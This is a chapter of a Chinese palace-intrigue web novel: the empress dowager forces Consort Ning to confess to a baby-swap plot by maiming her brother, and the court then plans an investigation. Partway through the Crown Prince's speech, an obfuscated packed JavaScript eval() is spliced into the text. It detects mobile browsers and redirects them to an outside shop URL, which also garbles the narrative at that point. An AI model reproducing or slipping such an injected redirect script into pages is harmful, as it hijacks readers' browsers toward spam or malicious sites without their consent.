太子李常宸声音带着压抑的怒意:“如此看来,宁嫔于白云观生产一事,恐怕……属实。只是所有可能知情的人证,皆被灭口,这分明是有人蓄意谋划掩盖。” 太后扫过卷宗上的字迹,“这掩盖真相之人所图恐怕不小。” 能把手伸进东宫,伸进内务府,甚至可能伸进太医院……这绝非一个失宠疯癫的宁嫔能做到的。 “叫宁嫔来。”太后放下佛珠,“哀家倒要看看,到了这个时候,她这张嘴,还能硬到几时。” 很快,宁嫔被两个粗壮的嬷嬷半拖半架地带到慈宁宫偏殿时。 她的眼神涣散无焦,嘴里念念有词。 太后连眼皮都未抬一下,只对身旁侍立的崔嬷嬷淡淡道:“宁远道和宁怀羽,在诏狱里住了三日,想必还没想清楚。去,告诉那边当值的,宁怀羽那双手,既然写不出实话,留着也是无用,废了吧。” “不——!!!” 一声凄惨的尖叫骤然响起,宁嫔如同被踩了尾巴的猫,猛地挣脱了嬷嬷的钳制,扑倒在地,手脚并用地向前爬了几步,脸上疯态尽去,只剩下无尽的惊恐。 “太后!太后娘娘开恩!饶命!臣妾说!臣妾什么都说!求您!求您放过我家人!放过我弟弟!他是无辜的!他什么都不知道啊!” 宁嫔涕泪横流,额头重重磕在金砖地上,发出沉闷的“咚咚”声,不一会儿便青紫一片。 40.第 40 章 太后这才缓缓垂眸,看向地上狼狈不堪的宁嫔,眼神如同看着一只蝼蚁:“那要看你说的是不是实话。元和十二年,四月初七,白云观。你生下的,是谁的孩子?” 宁嫔浑身抖如筛糠,伏在地上泣不成声:“是……是臣妾的孩子!是个男孩!臣妾亲眼看着他出生的!千真万确!” “孩子呢?”太后的声音陡然拔高了一线,带着无形的压力。 “我不知道!我真的不知道!” 宁嫔拼命摇头,散乱的头发粘在泪湿的脸上,“臣妾生产时耗尽力气,昏了过去……醒来时,孩子已经包裹好放在我身边了……稳婆……稳婆说一切顺利,母子平安……我就信了!我真的不知道孩子被调包了! 直到……直到他慢慢长大,又有人……有人偷偷给我传信……” 她说到这里,眼中露出极深的怨恨,不知是恨那调包之人,还是恨李常安这个“鸠占鹊巢”者。 “既然当时不知调包,那你为何要刻意隐瞒生产日期,谎称是四月初九在东宫生产?” 太后的声音冷得像冰,“欺君罔上,混淆皇室血脉,你可知这是诛九族的大罪?” “诛九族”三个字如同重锤,狠狠砸在宁嫔心口。 她浑身剧烈一颤,眼神开始疯狂躲闪,不敢与太后对视,嘴唇哆嗦着,却发不出完整的声音。似乎内心在天人交战,既恐惧真相暴露,更恐惧家族倾覆。 太后失去了耐心,不再看她,只对崔嬷嬷抬了抬下巴。 崔嬷嬷会意,转身便朝殿外走去。 很快崔嬷嬷便带着两名身材魁梧的禁军侍卫,拖着一个浑身血迹斑斑的年轻男子走了进来,粗暴地将他扔在殿中。 露出的手腕处已是一片可怖的紫黑色淤肿,形状怪异,显然骨骼已遭重创。 他正是宁嫔的弟弟,国子监生员宁怀羽。 紧接着,另一个头发花白的中年男子也被推搡进来,正是宁嫔的父亲,宁远道。 他脸上带着伤,眼神惊恐,看到殿上的太后、皇后,更是吓得瘫软在地,瑟瑟发抖。 宁嫔目眦欲裂,发出一声不似人声的哀嚎:“怀羽!父亲!” 太后恍若未闻,只看着被丢在地上因剧痛而蜷缩颤抖的宁怀羽,对侍卫道:“看来一只手,还不足以让宁嫔娘娘想起该怎么说话。另一只也废了吧,反正留着也没用。” “遵旨!”一名侍卫上前,立马抓向宁怀羽另一只完好的手腕。 “不——!!住手!我说!我什么都说!!”宁嫔吓得魂飞魄散,连滚爬爬地扑上前,却被侍卫轻易挡住。 她崩溃地瘫软在地,额头拼命磕向地面,急忙说道: “是徐嬷嬷!是当时我身边最得用、最信任的徐嬷嬷!都是她撺掇的!是她害我! 她……她跟我说……皇后娘娘的产期也就在那几天了……若是……若是我能赶在同一个日子生产,或许……或许有机会……有机会把孩子换到皇后娘娘名下……那我的孩子……就是嫡子!是嫡出! 陛下当时还是太子,嫡子的分量……将来……将来就有大造化!泼天的富贵,至尊的位置……我……我一时鬼迷心窍,就听了她的!” 殿内死一般的寂静,只有宁嫔歇斯底里的哭诉和宁怀羽压抑的痛哼。 皇后死死抓住扶手,指甲几乎要掐进坚硬的紫檀木里,脸色苍白。 太子的手背上青筋暴起,和亲王李崇简倒吸一口凉气。 宁嫔继续哭喊:“徐嬷嬷不知从哪里弄来了催产药……我……我害怕,但又忍不住那滔天富贵的诱惑……就……就服了药,然后借口祈福出宫去了白云观! 我想着若是在外发动,事后也好遮掩,药效发作,我果然生了,是个健康的男孩!我只看了一眼,心里又喜又怕…… 徐嬷嬷说,不能将孩子放在观内照料,容易引人注意,交给她安排可靠的人暂时看护,等宫里安排妥当……我……我那时刚生产完,虚弱又糊涂,就信了她!” 她哭得几乎断气:“回宫后,我就按计划谎称动了胎气,卧床不出……拖到初九夜里,才让人报信说提前发动,在东宫生下七皇子……我……我只是想给我的孩子谋个好前程! 我没想到……没想到螳螂捕蝉黄雀在后!我自己想着换孩子,却没想到我的孩子早就被人调了包! 徐嬷嬷后来跟我说,皇后娘娘身边的林嬷嬷和管嬷嬷看守得铁桶一般,她根本找不到机会下手,计划没能成功…… 我以为只是运气不好,却不知道我的孩子早就没了!换进来的是个不知道哪来的野种!我真的不知道啊!太后!皇后娘娘!臣妾也是受害者!求你们明鉴!” “轰——!” 皇后只觉得耳边一阵轰鸣,眼前阵阵发黑,身体晃了晃,被林嬷嬷死死扶住才没有倒下。 她死死咬着下唇,直到尝到血腥味,才勉强稳住心神。 竟然有人早在几年前,就对她未出世的孩子布下了如此恶毒的局! 宁嫔想李代桃僵,却不知自己早已成了别人棋局中的棋子,亲生骨肉早已被人换走。 那么……那么她自己的孩子呢?那个她怀胎十月,却只在痛苦与血污中匆匆一瞥,便被告知夭折了的孩子呢?! 一个她几乎不敢触碰的念头,如同暗夜中的火星,猛地窜起——如果宁嫔换子计划成功了呢? 太后不自觉得用力抓住紫檀木扶手。老辣如她,也被这层层嵌套的阴谋震惊了。 太后迅速压下翻腾的心绪,紧紧盯着崩溃的宁嫔,沉声问道:“你说徐嬷嬷告诉你,与皇后孩子的调包计划并未成功?你确定?她当时具体如何说的?” 宁嫔瘫在地上,抽噎着努力回忆:“徐嬷嬷……她是初十那天天未亮,我这边刚报生产后不久,悄悄来回话的。 她说……皇后娘娘那边也是折腾了一夜,但林嬷嬷和管嬷嬷像门神一样守着产房,她们带去的自己人根本靠不近,皇后娘娘生下的小皇子被裹得严严实实,立刻就被抱到皇后身边,由两位嬷嬷亲自照料,她们……她们连看都没看清楚,更别说换了……计划只能作罢。 异样……好像没有,只说皇后娘娘生产艰难,最后八阿哥夭折。” 太后眼神闪烁——宁嫔这边计划失败,但另一个针对皇嗣的调包计划,却很可能成功了!徐嬷嬷……恐怕不仅仅是宁嫔的帮凶,怕是另一股势力安插的棋子!! “徐嬷嬷现在何处?”太后声音森冷。 “她……她在七皇子两岁那年,就得了急病,一夜之间就没了……”宁嫔怯怯道,此刻她也隐约意识到,自己可能从头到尾都被利用了。 又是急病!又是灭口!太后心中寒意更盛。 这幕后之人,清理痕迹的手段堪称狠绝。 “将宁嫔,连同宁远道、宁怀羽,带下去,分开关押,严加看管,没有哀家手谕,任何人不得探视,不得传递消息。” 太后下令:“找个太医给宁怀羽看看手,别让他死了。他们父子,活着比死了有用。” “是!”侍卫上前,将哭喊求饶的宁嫔和面如死灰的宁家父子拖了出去。 太后缓缓吐出一口浊气,看向脸色惨白、身体微颤的皇后,眼中闪过一丝疼惜,但更多的是恨铁不成钢。 她转向侍立在皇后身边,同样面色震惊、眼眶发红的林嬷嬷。 “林嬷嬷,”太后沉声道,“你是皇后的奶嬷嬷,自小跟着她,最是忠心不过。元和十二年四月初九,皇后生产当夜,你一直在产房。你仔细回想,当时……可有什么异常之处?任何细节,哪怕当时觉得微不足道,现在想来可疑的,都说出来。” 林嬷嬷“噗通”一声跪倒在地,老泪纵横,既是后怕,也是激动:“太后娘娘明鉴!奴婢……奴婢当时确实和管嬷嬷一起,寸步不离地守着娘娘和小皇子!奴婢敢以性命发誓,宁嫔那边的腌臜手脚,绝对没有得逞! 娘娘生产后便疲累睡去,太医诊断后说小皇子在娘胎里憋得太久,有些气力不足,要好生看护,之后便由我和管嬷嬷、医婆轮流看护的,绝未离眼!直到……直到天亮后……小皇子突然夭折。” 她努力回忆,眉头紧锁:“异常……硬要说异常,奴婢和管嬷嬷守着小皇子在外间暖阁。后半夜,管嬷嬷说她有些头晕,可能是熬的,脸色有些白,出去透了口气,约莫……约莫一盏茶不到的时间就回来了。 还有……天亮前,清理产房的粗使宫女中,有一个面生的,动作有些毛躁,打翻了一个铜盆,被管嬷嬷低声斥责了一句,很快就换下去了……除此之外,奴婢实在想不出有何异样。” 林嬷嬷说到此处,已是泣不成声。 太后目光深邃:“面生的宫女……管嬷嬷出去透气……” 她敏锐地捕捉到了这两个细微之处。“管嬷嬷现在何处?” 林嬷嬷拭泪道:“回太后,管嬷嬷年纪大了,身上早有些老毛病,五年前风湿发作得厉害,腿脚不便,娘娘体恤,便准她告老还乡了。奴婢记得,她是河间府人士,老家似乎还有侄儿在。” 告老还乡……河间府……太后记在心里。 皇后此时已稍稍平复,她看向太后,声音沙哑:“母后!徐嬷嬷这条线断了,但管嬷嬷还在!那个面生的宫女,也必须查!还有当年所有经手过臣妾生产、以及……以及‘小皇子’夭折前后事宜的太医、宫人、内侍,一个都不能放过! 这背后之人,布下如此弥天大网,所图绝非小可!臣妾恳请母后,彻查到底!” 太子的眉头紧锁,他缓缓站起身,踱步上前:“皇祖母,母后,宁嫔的供词,看似解开了部分谜团,但也引出了更多疑问。 徐嬷嬷诱导宁嫔实施换子计划,却又在关键时刻‘失败’了,甚至可能在宁嫔不知情的情况下,完成了另一重调包——将宁嫔的亲生子换走,换入了西朔国歌姬之子。” 他顿了顿,继续分析:“但这其中有个关键。如果是西朔国出手,如果他们有能力进行两次换子,那么他们大可以直接将那歌姬之子和弟弟直接调换,为何要如此大费周章?最后将所有知情人灭口……这手笔,太大了。” “孙儿怀疑,”太子一字一句道,“当年白云观和东宫产房,可能不止有宁嫔和西朔这两股势力。或许……还有第三只手,在暗中搅动风云,浑水摸鱼。” 和亲王李崇简闻言,倒吸一口凉气:“太子殿下的意思是……” 太子看向皇后,眼中带着一丝不忍,却又不得不说明白:“母后,儿臣有个大胆的猜测——假如,当年徐嬷嬷对宁嫔说的‘计划失败’是谎言呢?假如……她们其实成功了呢?” 皇后浑身一震,猛地抬头看向太子,苍白的嘴唇微微颤抖。 太子继续道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16918292|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“如果她们成功将宁嫔之子与母后之子调换,那么母后当年以为早夭的‘八弟’,很可能才是那歌姬之子。而母后真正的亲子……” 他深吸一口气,“很可能就是现在的七弟,李常安。” “这……”皇后当然想到这种可能。她看向太后,眼中充满了混乱与希冀交织的光芒。 太后缓缓点了点头,捻动佛珠的手停了下来:“常宸的猜测,不无道理。徐嬷嬷此人,行事诡秘,两面三刀,她对宁嫔说的话,未必是真。若换子成功,那么皇后真正的孩子……” 她顿了顿,看向皇后,“或许,就在我们眼前。” 皇后只觉得心脏狂跳,一股滚烫的热流猛地冲上眼眶。 她想起李常安的样子——以前只觉得亲近,如今细想,大概是血脉至亲情…… 如果……如果小七真的是她的孩子…… 太后见皇后神色动摇,看着皇后,语气难得地带上了一丝严厉之外的语重心长:“皇后,此事已非简单的后宫阴私。 皇帝远征在外,国本动摇不得!你是一国之母,中宫之主,这些年你沉浸悲伤,哀家体谅,皇帝也未曾苛责。 但如今,风雨已至,真相关乎你的骨肉,关乎皇嗣血脉,更关乎前朝后宫安稳!你不能再躲在这坤宁宫里,只顾着自己伤心了!” 皇后被太后的话语说得有些羞愧。 是啊,这些年,她困守在丧子之痛里,对后宫诸事能避则避,以至于让人钻了空子! 若非此次西朔国发难,这秘密恐怕还要被掩盖下去,她的孩子……可能永远都找不回来! “母后教训的是。”皇后声音有些沙哑,“是臣妾懦弱,辜负了母后和陛下的信任,也……对不起我那苦命的孩子。” 她眼中含泪,却强忍着没有落下,“从今日起,臣妾不会再逃避。这后宫,是臣妾的责任,当年害我孩儿、搅乱宫闱之人,必然在后宫之中有其内应!臣妾定会将其揪出,清算旧账!” 她看向太子和和亲王:“至于追查当年真相,前朝的线索,就有劳和亲王了,由常宸辅助您。本宫会整肃后宫,重掌宫权,从内部开始清查。林嬷嬷,” 她转向跪在地上的林嬷嬷,“你起来,仔细回忆当年所有人、所有事,任何可疑之处,无论关联大小,全部列出。管嬷嬷的下落,本宫亲自来查!那个面生的粗使宫女,掘地三尺也要找出来!” “是!老奴定当尽心竭力!”林嬷嬷激动地磕头。 太后看着皇后眼中重新燃起的光芒,心中稍慰,点了点头:“好。这才是哀家认识的皇后。记住,勿要打草惊蛇。皇帝那边,哀家会去信说明,你放手去做便是。” “常宸,崇简,”太后又看向太子与和亲王,“外朝彻查,密而不发,重点追查徐嬷嬷的来历、当年宫中异常的人员流动、药材记录,以及……所有可能与西朔国有隐秘关联的线索。河间府那边,立刻派可靠之人秘密前往,找到管嬷嬷。活要见人,死……也要查出她是怎么死的!” “孙儿/臣弟领旨!” “对了,”太后忽然想起什么,看向皇后,语气缓和了些,叮嘱道:“皇后,在事情彻底查清之前,你暂且……先不要召见小七。” 皇后一怔,眼中掠过一丝不解:“母后,这是为何?臣妾只是想……” “哀家知道你心里急,也疼那孩子。”太后打断她。 “但越是如此,越要稳住。你这些年身子弱,情绪不宜大起大落。更重要的是,你此刻见了他,必定难以自持,容易被人看出端倪,反而可能打草惊蛇,甚至给他带来危险。” 她顿了顿,继续道:“那孩子聪明敏感,又刚经历身世风波,本就忐忑。你若表现异常,他只会更加不安。不如先保持些许距离,一切如常,让他安心。” 皇后明白了太后的深意,深吸一口气,压下冲动应道:“臣妾明白了,谨遵母后教诲。” 太后满意地点点头:“嗯,你能想通就好。先回去歇着吧,养足精神,后面还有硬仗要打。” 待皇后离去,太后对崔嬷嬷吩咐道:“去长春宫传话,就说哀家想七皇子了,让他过来陪哀家用顿便饭。” 崔嬷嬷应下,正要离开,太后又补充道:“让小厨房准备些孩子爱吃的,再蒸一碟奶糕。把那套海棠春睡的粉彩小碗碟找出来用。” “是,老奴这就去办。” 长春宫里,李常安正对着作业发愁,他会但是他不想写,听说太后召他去用晚膳,心里咯噔一下。 【太后这时候找你吃饭?】 007立刻进入警戒模式,【是查完了吗?太后会不会对你做什么?】 “别慌。”李常安放下书,心里也有些打鼓,但面上不显,“太后若要处置我,不必特意叫去用膳。” 他换了身干净清爽的常服,跟着崔嬷嬷往慈宁宫去。 路上,007还在他脑海里碎碎念,吵得李常安头疼。 到了慈宁宫,气氛却比他想象中轻松。 偏殿暖阁里灯火温馨,撤去了平日庄重的摆设,多了几分家常气息。 一张不大的紫檀圆桌上,已摆好了几样精致的菜肴:清炖鹌子汤、蟹粉狮子头、虾仁炒蛋、清炒豆苗,还有一碟热气腾腾的奶糕。 用的碗碟是套极为精巧可爱的粉彩海棠图案,一看就是给小孩子用的。